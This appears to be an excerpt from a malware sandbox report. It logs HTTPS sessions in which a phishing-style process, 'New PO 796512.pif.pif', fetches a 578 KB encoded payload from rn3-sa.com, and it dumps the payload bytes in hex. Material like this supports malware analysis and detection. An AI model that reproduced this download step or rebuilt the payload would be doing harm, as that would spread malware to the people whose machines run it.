                                                                                          2024-11-21 15:31:35 UTC16384INData Raw: e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 ac b7 ae ae ac b7 ae ae d6 04 af ae b8 ce af ae ae ae 88 2b 09 ae ae b2 ac b7 ae ae ac b7 ae ae d6 13 af ae b8 ce af ae ae ae 88 2b 0a ae ae b2 21 d9 af ae b8 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b2 ae e6 fe ad ad ad 21 d9 af ae b8 ac bc af ae 21 d9 af ae b8 ac bc b0 ae ce b6 ae ae ae ce b6 ae ae ae ac b7 ae ae 29 09 ae ae b2 ce be ae ae ae 88 ac b7 ae ae 29 0a ae ae b2 ce be ae ae ae 88 21 c9 af ae b8 2c db ae ae b2 ac bc b1 ae 2c 6b b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f3 ba ae b4 2c 6c b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f8 ba ae b4 2c 72 b0 ae b2 ac ba b1 ae ce b3 ae ae ae d6 11 ba ae b4 2c 6d b0 ae b2 ac ba b1 ae ac b7 ae ae 1d 14 af
                                                                                          Data Ascii: .,_,.++!,!!))!,,k,l,r,m
                                                                                          2024-11-21 15:31:35 UTC16384INData Raw: 21 d0 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c7 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac bb b2 ae ac bb b1 ae d6 cd af ae b8 ac bb b1 ae d6 c7 af ae b8 ac bb b1 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac ba b0 ae ac b7 ae ae d6 63 af ae b8 ee b5 b0 ae ae 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4b ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4c ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 ac b7 ae ae d6 64 af ae b8 e7 1c af ae ae ac b7 ae ae d6 64 af ae b8 1d 6a af ae b8 ac b7 ae ae d6 65 af ae b8 ac ba b0 ae 1d 66 af ae b8 1d 68 af ae b8 1d 6b af ae b8 e7 84 ae ae ae 2c 7c b0 ae
                                                                                          Data Ascii: !bb!!c,n)K!,n)L!ddjefhk,|
                                                                                          2024-11-21 15:31:35 UTC16384INData Raw: d6 b3 b9 ae b4 ac bc ae ae e6 fe ad ad ad ac b7 ae ae d6 0d af ae b8 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 82 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 82 ae ae b2 d8 ae ae c1 de b1 ae c7 ae ae ae af ae ae bf 2c 2b b0 ae b2 ac b7 ae ae 1d 2e af ae b4 1d 87 af ae b8 d6 f9 b9 ae b4 d8 ae ae ae c1 de b0 ae bd ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 88 af ae b8 d8 ae c1 de b0 ae c2 ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 86 af ae b8 1d 94 af ae b8 d8 c1 de b3 ae 96 ae ae ae c4 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae f6 ae ae ae 61 ae ae ae 0d ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 ae ae 1d 2e af ae b4 1d 89 af ae b8 1d 98 af ae
                                                                                          Data Ascii: )+,+...a,.
                                                                                          2024-11-21 15:31:35 UTC16384INData Raw: b4 ac bc af ae e6 22 ad ad ad ac ba ae ae ac b7 b2 ae 2b 42 af ae b2 ac b7 ae ae 29 ae af ae b2 ac b7 b0 ae ac b7 b3 ae 1d 4f ae ae b8 c5 d9 b1 c4 d9 ae da 83 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 df ad ad ad ac b7 ae ae ce ae ae ae ae d6 41 b2 ae b4 ce b1 ae ae ae d6 42 b2 ae b4 2c 9d b0 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ae ae 1d 9a b0 ae b4 d6 a7 ba ae b4 d6 c7 b0 ae b4 d4 d8 ae ae ae c9 de b2 ae e3 af ae ae f5 ae ae bf 2c 31 b0 ae b2 ac b7 b0 ae 1d 05 b1 ae b4 ce af ae ae ae d6 43 b2 ae b4 d6 0d b9 ae b4 e7 30 ae ae ae ac b7 b0 ae 1d 07 b1 ae b4 d6 94 b0 ae b4 ac bc ae ae ac ba ae ae da be ac ba ae ae 29 3e af ae b2 ce 76 ae ae ae dc c5 ac b7 ae ae ac ba ae ae 29 3e af ae b2 d6 b5 b0 ae b4 8b 81 ae ae ae ac b7 ae ae 29 ae
                                                                                          Data Ascii: "+B)O,AB,,?I,1C0)>v)>)
                                                                                          2024-11-21 15:31:35 UTC16384INData Raw: ae b4 d3 ac ba b3 ae 1d d8 b1 ae b4 d3 ac b7 b0 ae 1d da b1 ae b4 d3 ce ae ae ae ae 1d de b1 ae b4 ac bc b4 ae ac b7 ae ae 29 fb af ae b2 ac bc af ae ce ae ae ae ae ac bc b0 ae 2c a0 b0 ae b2 ac ba af ae ac bb b0 ae d6 b6 bb ae b4 ac b7 ae ae 29 fb af ae b2 1d 47 ae ae b8 ac b7 ae ae 29 ff af ae b2 1d 7e b0 ae b4 ac b2 ac bc ae ae ac ba ae ae e7 8e ae ae ae ac b7 ae ae 29 fb af ae b2 ac ba b4 ae 1d 46 ae ae b8 ce ce ae ae ae ce b1 ae ae ae d6 84 b2 ae b4 ac b7 af ae d6 88 b0 ae b4 ac b7 af ae 1d 9c b0 ae b4 ce b1 ae ae ae ee 51 ae ae ae ac ba b4 ae 1d d9 b1 ae b4 db fb ac b7 af ae 1d a0 b0 ae b4 ce af ae ae ae dc be ac b7 af ae 1d a0 b0 ae b4 ce b0 ae ae ae e1 db ac b7 ae ae 29 fe af ae b2 da 1b ac b7 ae ae 29 fe af ae b2 1d 8e b0 ae b4 ac ba b4 ae 1d df
                                                                                          Data Ascii: ),)G)~)FQ))
                                                                                          2024-11-21 15:31:35 UTC16384INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b6 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b6 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b7 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b7 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b8 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af
                                                                                          Data Ascii: )+)+)+)+)
                                                                                          2024-11-21 15:31:35 UTC16384INData Raw: c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e2 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e3 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e3 b0 ae b2 d8 ae ae 40 ac b7 ae ae d6 14 ae ae b8 ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 ac b7 ae ae ac b7 b0 ae 2b e3 b0 ae b2 d8 ae ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae
                                                                                          Data Ascii: )+)+@++)+)+


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          3192.168.2.74976366.29.153.2384435060C:\Users\user\Documents\New PO 796512.pif.pif
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:31:42 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:31:43 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:31:42 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:31:43 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:31:43 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
                                                                                          2024-11-21 15:31:43 UTC2176INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
                                                                                          2024-11-21 15:31:43 UTC16384INData Raw: b8 d6 d6 b9 ae b4 ac bc ae ae ce ae ae ae ae ac bc af ae d9 cf 2c 0a b0 ae b2 ac ba ae ae ac ba af ae 48 d6 9f b8 ae b4 ac ba af ae ce af ae ae ae 06 ac bc af ae ac ba af ae ac ba ae ae 3c 17 e0 81 8c b1 d4 8c ae d8 af be ae ae ae ae ae ae 0e 0e ae b1 af ae ae af c1 de af ae af ae ae ae af ae ae bf d8 ae ae ae d8 ac b7 ae ae d6 af ae ae b8 d8 ae c1 de b4 ae 0b ae ae ae af ae ae bf ce b0 ae ae ae 3b af ae ae af d3 ce ae ae ae ae ac b8 ae ae d6 df ae ae b4 ac b8 af ae d6 e0 ae ae b4 3a d6 ae ae af 50 d3 ce af ae ae ae 2c 42 b0 ae b2 7e b0 ae ae c9 d6 58 b9 ae b4 50 ce b1 ae ae ae d6 b6 b2 ae b4 ce ae ae ae ae d6 b7 b2 ae b4 d6 e2 ae ae b4 53 b0 ae ae c9 d8 ae ae ae c1 de b7 ae 2a af ae ae c0 ae ae bf d9 c7 ac ba b0 ae f3 b2 ae ae ae f7 ae ae ae 8c ae ae ae
                                                                                          Data Ascii: ,H<;:P,B~XPS*
                                                                                          2024-11-21 15:31:43 UTC16384INData Raw: ae 1d 16 af ae b8 ac b7 ae ae 29 12 ae ae b2 21 a6 ae ae b8 2c 60 b0 ae b2 ac ba af ae d6 da ba ae b4 2c df ae ae b2 d6 07 ba ae b4 e6 0e af ae ae ac b7 ae ae d6 72 ae ae b4 e7 74 ae ae ae ac ba af ae ce b4 ae ae ae d6 18 ae ae b4 ac bc ae ae 2c 73 b0 ae b2 ac ba b0 ae ac b7 ae ae 29 11 ae ae b2 21 a6 ae ae b8 ac ba ae ae d6 16 ba ae b4 2c 73 b0 ae b2 ac ba b0 ae 2c 71 b0 ae b2 ce c2 ae ae ae 2c 5d b0 ae b2 d6 d0 ba ae b4 d6 0c ba ae b4 21 a6 ae ae b8 ac ba ae ae d6 16 ba ae b4 c5 d9 b1 c4 d9 ae e7 11 ac ad ad 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b2 ae e6 88 a9 ad ad ac ba b0 ae ac b7 ae ae 1d 15 af ae b8 ac b7 ae ae 1d 16 af ae b8 ac b7 ae ae 29 12 ae ae b2 21 a6 ae ae b8 2c 60 b0 ae b2 ac ba af ae d6 da ba ae b4 2c df ae ae b2 1d b0 af ae
                                                                                          Data Ascii: )!,`,rt,s)!,s,q,]!,)!,`,
                                                                                          2024-11-21 15:31:43 UTC16384INData Raw: ce af ae ae ae 1d 40 af ae b8 d8 ae c1 de b1 ae de ae ae ae af ae ae bf ac b7 ae ae ce ae ae ae ae d6 e4 af ae b4 ac b7 ae ae 1d dd af ae b4 ce ae ae ae ae 1d 40 af ae b8 ac b7 ae ae 1d dd af ae b4 1d bf b0 ae b8 d8 c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 03 af ae b8 ac b7 ae ae ce b0 ae ae ae 2b 51 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 07 af ae b8 ac b7 ae ae ce af ae ae ae 2b 51 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 18 af ae b8 ac b7 ae ae ce af ae ae ae 2b 51 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 19 af ae b8 ac b7
                                                                                          Data Ascii: @@+Q+Q+Q
                                                                                          2024-11-21 15:31:43 UTC16331INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 84 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 85 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 85 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 83 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b0
                                                                                          Data Ascii: )+)+))))))
                                                                                          2024-11-21 15:31:43 UTC16384INData Raw: d6 90 af ae b4 da cf ac ba ae ae 22 fc ae ae b0 ac b7 af ae ac b7 b0 ae ce af ae ae ae 06 ac b7 b1 ae 1d d8 b0 ae b4 d8 ac b7 b1 ae c2 ff ce ae ae ae ae d8 ac ba b1 ae d8 af be ae ae b0 ae cb ae f9 16 ae c3 ae ae ae ae d8 ac b7 ae ae d6 af ae ae b8 d8 ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b2 af ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b2 af ae b2 d8 ae ae 0c ac b7 ae ae d6 ee ae ae b8 ac b7 ae ae ac b7 af ae 2b b3 af ae b2 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b3 af ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b3 af ae b2 d8 ae ae 1c ac b7 ae ae ac b7 b0 ae d6 f0 ae ae b8 ac b7 ae ae ac b7 af ae 2b ce af ae b2 d8 c1 de b4 ae e3 af ae ae af ae ae bf d9 c7 ac ba ae ae
                                                                                          Data Ascii: "))+)++
                                                                                          2024-11-21 15:31:43 UTC16384INData Raw: ae ae d6 31 b0 ae b4 8b 0a af ae ae ac bc b7 ae ce af ae ae ae ce ae ae ae ae d6 8f b2 ae b4 2c 1c b0 ae b2 ac ba b7 ae d6 d1 b9 ae b4 d6 88 b0 ae b4 ac b7 ae ae ac ba b7 ae 21 e4 b0 ae b4 2b f0 af ae b2 ce ae ae ae ae ac bc b8 ae 2c aa b0 ae b2 2c a9 b0 ae b2 ac ba b7 ae d6 d4 bb ae b4 2c 42 b0 ae b2 7e fe ae ae b0 d6 58 b9 ae b4 d6 d9 bb ae b4 da fb ac ba b7 ae 23 fe ae ae b0 ac bc b9 ae ac ba b9 ae 1d dd b0 ae b4 ce ba ae ae ae dc d0 ac ba b9 ae 1d dd b0 ae b4 ce bd ae ae ae dc c0 ac ba b9 ae 1d dd b0 ae b4 ce bb ae ae ae ac af d9 b3 ce af ae ae ae ac bc b8 ae e6 42 ae ae ae ac ba b7 ae 1d f2 ae ae b8 2c 42 b0 ae b2 7e 03 ae ae af d6 58 b9 ae b4 d6 1d ae ae b8 db 1a 2c aa b0 ae b2 2c a9 b0 ae b2 ac ba b7 ae d6 d4 bb ae b4 2c 42 b0 ae b2 7e 8c ae ae af
                                                                                          Data Ascii: 1,!+,,,B~X#B,B~X,,,B~
                                                                                          2024-11-21 15:31:43 UTC8245INData Raw: ac bc af ae 3f 0e ac bc b9 ae ac ba b9 ae 3b ce ae ae af ac bc ba ae 2c b7 b1 ae b2 ac ba ae ae ac ba af ae ac ba ba ae ce ae ae ae ae ac ba b9 ae d6 1a bb ae b4 ac ba af ae ac ba b9 ae 06 ac bc af ae c5 d9 b1 c4 d9 ae e7 e5 aa ad ad 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc be ae e6 23 a8 ad ad ac ba bd ae 2c b5 b1 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ba ae d6 10 bb ae b4 21 db ae ae b8 2b b9 b0 ae b2 ac ba b2 ae e7 4e ae ae ae ac ba ae ae ac ba af ae d3 ce af ae ae ae 06 ac bc af ae 3f ce b6 ae ae ae 10 ce ae ad ae ae 0d ac bc bb ae ac ba bb ae ac ba ae ae ac ba af ae d3 ce af ae ae ae 06 ac bc af ae 3f 0e ac bc bb ae ac ba bb ae 3b ce ae ae af ac bc bc ae 2c b7 b1 ae b2 ac ba ae ae ac ba af ae ac ba bc ae ce ae ae ae ae ac ba bb ae d6 1a
                                                                                          Data Ascii: ?;,,#,,?I!+N??;,


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          4192.168.2.74979366.29.153.2384431964C:\Users\user\Documents\New PO 796512.pif.pif
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:31:55 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:31:56 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:31:56 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:31:56 UTC16135INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:31:56 UTC16384INData Raw: 71 d0 ae ae 62 f0 1d dd af ae b8 2c 18 b0 ae b2 ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 c7 af ae b8 84 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 c7 af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac b8 ae ae d6 c8 af ae b8 84 21 d0 af ae b8 d6 c2 b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 f0 d0 ae ae 62 f0 d6 bd b9 ae b4 e6 2d b1 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ac b8 ae ae d6 c8 af ae b8 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6
                                                                                          Data Ascii: qb,!!,!bb-!!,
                                                                                          2024-11-21 15:31:56 UTC16384INData Raw: ae ce a1 ae ae ae d6 a3 b9 ae b4 2b f5 ae ae b2 ac b7 ae ae ce c0 ce b0 ae ce af ae ae ae d6 0f af ae b8 ac b7 ae ae ce af ae ae ae 1d 10 af ae b8 ac b7 ae ae 2c 5c b0 ae b2 d6 d0 ba ae b4 1d 11 af ae b8 ac b7 ae ae ce c0 ae ae ae ce c0 ae ae ae 21 d8 af ae b8 d6 1c af ae b8 ac b7 ae ae ce b7 ae ae ae 1d 1e af ae b8 ac b7 ae ae ce ae ae ae ae d6 e2 b2 ae b4 d0 ae ae ce ef 21 be af ae b8 1d 12 af ae b8 d8 ae c1 de b9 ae 42 b0 ae ae c8 ae ae bf d9 c7 ac ba b3 ae f3 b2 ae ae ae 5c ae ae ae ba b0 ae ae 30 af ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc b3 ae d9 7f ac b7 ae ae d6 04 af ae b8 ac b7 ae ae d6 13 af ae b8 21 e5 af ae b8 ac bc ae ae 2c 5f b0 ae b2 ac ba ae ae d6 d5 ba ae b4 ac bc af ae ac bb b0 ae ce ae ae ae ae ce ae ae
                                                                                          Data Ascii: +,\!!B\0,!,_
                                                                                          2024-11-21 15:31:56 UTC15264INData Raw: ae ae ce b0 ae ae ae 2b 32 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 07 af ae b8 ac b7 ae ae ce af ae ae ae 2b 32 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 18 af ae b8 ac b7 ae ae ce af ae ae ae 2b 32 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 19 af ae b8 ac b7 ae ae ce ae ae ae ae 2b 32 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b4 ae a3 ae ae ae ae ae ae ae ac b7 ae ae d6 1d af ae b8 ac b7 ae ae ce ae ae ae ae 2b 32 ae ae b2 ac b7 ae ae 2c 52 b0 ae b2 ce db ae ae ae ce dd ae ae ae ce df ae ae ae d6 a3 b9 ae b4 2b 36 ae ae b2 ac b7 ae ae 2c
                                                                                          Data Ascii: +2+2+2+2+2,R+6,
                                                                                          2024-11-21 15:31:56 UTC16384INData Raw: ae ae ae e1 04 2c 6e b0 ae b2 2c 62 b0 ae b2 ac b7 b0 ae d6 df ba ae b4 ac b7 ae ae 29 6d ae ae b2 21 a6 ae ae b8 2c 86 b0 ae b2 ac b7 b0 ae d6 52 ba ae b4 d6 02 ba ae b4 c5 d9 b1 c4 d9 ae da 44 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 54 ac ad ad d9 d8 ac b7 b0 ae 1d 7f af ae b8 ac b7 ae ae 29 6b ae ae b2 21 a6 ae ae b8 2c 86 b0 ae b2 ac b7 b0 ae d6 52 ba ae b4 1d ae af ae b8 ac b7 b0 ae 1d 7f af ae b8 ac b7 ae ae 2c 88 b0 ae b2 ac b7 ae ae d6 70 af ae b8 2c 67 b0 ae b2 ac b7 b0 ae d6 ee ba ae b4 1d 7a af ae b8 d6 57 ba ae b4 d6 81 af ae b8 ce b1 ae ae ae d6 14 b2 ae b4 d0 ae ae ae ef 21 be af ae b8 2c 7d b0 ae b2 d6 3e ba ae b4 2c 86 b0 ae b2 ac b7 b0 ae d6 52 ba ae b4 ac bc ae ae 2c 60 b0 ae b2 ac bb ae ae d6 ca af ae b8 ce b0 ae ae
                                                                                          Data Ascii: ,n,b)m!,RD,T)k!,R,p,gzW!,}>,R,`
